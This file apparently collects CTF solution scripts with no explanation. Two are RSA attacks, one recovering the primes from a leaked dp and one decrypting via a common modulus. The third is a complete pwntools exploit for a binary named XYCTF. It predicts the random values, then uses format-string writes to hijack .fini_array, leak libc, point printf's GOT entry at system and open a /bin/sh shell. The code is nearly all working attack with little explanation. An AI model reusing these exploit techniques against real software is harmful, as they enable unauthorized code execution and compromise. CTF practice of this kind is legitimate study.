import gmpy2 as gp

e = 65537

n = 528565534050303289402007510968179435618186732104470795324112506464649249469837867028185617

dp = 487978202023750799970713551102136558437027925

for x in range(1, e):

	if(e*dp%x==1):

		p=(e*dp-1)//x+1

		if(n%p!=0):

			continue

		q=n//p

		phin=(p-1)*(q-1)

		d=gp.invert(e, phin)

		print("p = ", p)

		print("q = ", q)

import libnum

import gmpy2

n1 = 60984961924036640364806324068224697071843724749390772716648370179057892113876360274026354662527777447902822720596626094363633542717821045035441273653134740082082972528467040631675108058268481211224587979227700303746708094408639881186270901498495613159595719501389800228775436242418332342165682104816100945559

e1 = 718052616328316407959060891790846549694362099

c1 = 14643165800600469237679161939570210679439096911755461832302138620621212724063371108183767129591712055258072458698793819383057004625557577440444773493982158481797933707633029392859049044470914532014267958303995860803871791733761877112192748951375669095992152628840179729532225161446048952172457991042916248568

n2 = n1

e2 = 736109753005379176045853848742061395149928683

c2 = 47744166763747993083913069262560688521758241055343711330487778299969300229670028543968082464934326523754042128559756835029869433598546417098582906459369495989688837877596260888669274901459794346656919486877501825652169698125071792901224555479266468029736677586557495945618181583432146191688552560789016927665

s, s1, s2 = gmpy2.gcdext(e1, e2)

m = (pow(c1, s1, n1)*pow(c2, s2, n2)) % n1

print(libnum.n2s(int(m)).decode())

from pwn import *

import ctypes

context.arch = 'amd64'

# context.log_level = 'debug'

elf = ELF('./XYCTF')

libc = ELF('./libc.so.6')

io = process('./XYCTF')

# io = remote('xyctf.top', 47279)

# 随机数部分

lib_rand = ctypes.CDLL('./my_random.so')

lib_rand.random_number.restype = ctypes.c_int

lib_rand.set_seed()

for i in range(51):

    io.recvuntil(f'game: {i}\n'.encode())

    io.sendline(str(lib_rand.random_number()).encode())

io.recvuntil(b'Now,plz you input:\n')

# # test

# io.sendline(b'AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p')

# print(io.recvall())

# 第一步：把.fini_array 中__do_global_dtors_aux 的地址改为 vuln 函数的地址，以便再次进入 vuln，同时泄漏 libc 地址和 vuln 函数返回地址的地址

# %6$s 是 payload 自己

# % p. 是格式化字符串的地址，输出了 15 个字符

# %10$s. 是 libc printf 的地址，输出了 7 个字符

# 总共需要 4804 个字符

printf_got = elf.got['printf'] # 0x4033d8

addr_of_fini_array = 0x4031c0

payload = b'%p.%10$s.%4782d%9$hn....' + p64(addr_of_fini_array) + p64(printf_got)

payload += b'\x00' * (100 - len(payload))

# print(payload.hex())

io.send(payload)

res = io.recvuntil(b'Now,plz you input:\n')

addr_of_fmtstr = eval(res[:14])

addr_of_printf = int.from_bytes(res[15:21], 'little')

addr_of_system = addr_of_printf - libc.sym['printf'] + libc.sym['system']

print(hex(addr_of_fmtstr), hex(addr_of_printf))

print(hex(addr_of_system))

addr_of_new_fmtstr = addr_of_fmtstr - 0xB0

addr_of_ret_addr = addr_of_new_fmtstr + 0x78

# gdb.attach(io, 'b *0x4012c4')

# 第二步：我们现在有 vuln 函数返回地址的地址，把它改为 retn 的地址（栈对齐），后面跟 vuln 函数的地址，以便再次进入 vuln，同时把 printf 的 got 表改为 system 的地址

payload = b''

written_bytes = 0

addr_of_vuln = 0x4012c4

addr_of_C3 = 0x40132b

payload += f'%{(((addr_of_system&0xff0000)>>16)+0x100-written_bytes)&0xff}d%16$hhn'.encode()

written_bytes = (addr_of_system&0xff0000)>>16

payload += f'%{((addr_of_system&0xffff)+0x10000-written_bytes)&0xffff}d%17$hn'.encode()

written_bytes = addr_of_system&0xffff

payload += f'%{addr_of_vuln-written_bytes}d%15$ln'.encode()

written_bytes = addr_of_vuln

payload += f'%{addr_of_C3-written_bytes}d%14$ln'.encode()

print(len(payload))

assert len(payload) <= 64

payload += b'.' * (64 - len(payload))

payload += p64(addr_of_ret_addr) # 写入 retn 的地址 8 字节

payload += p64(addr_of_ret_addr + 8) # 写入 vuln 的地址 8 字节

payload += p64(printf_got + 2) # 写入 system 的地址低第 3 字节

payload += p64(printf_got) # 写入 system 的地址低 1-2 字节

payload += b'\x00' * (100 - len(payload))

print(payload)

io.send(payload)

io.recvuntil(b'Now,plz you input:\n', timeout=600)

io.sendline(b'/bin/sh\x00')

io.interactive()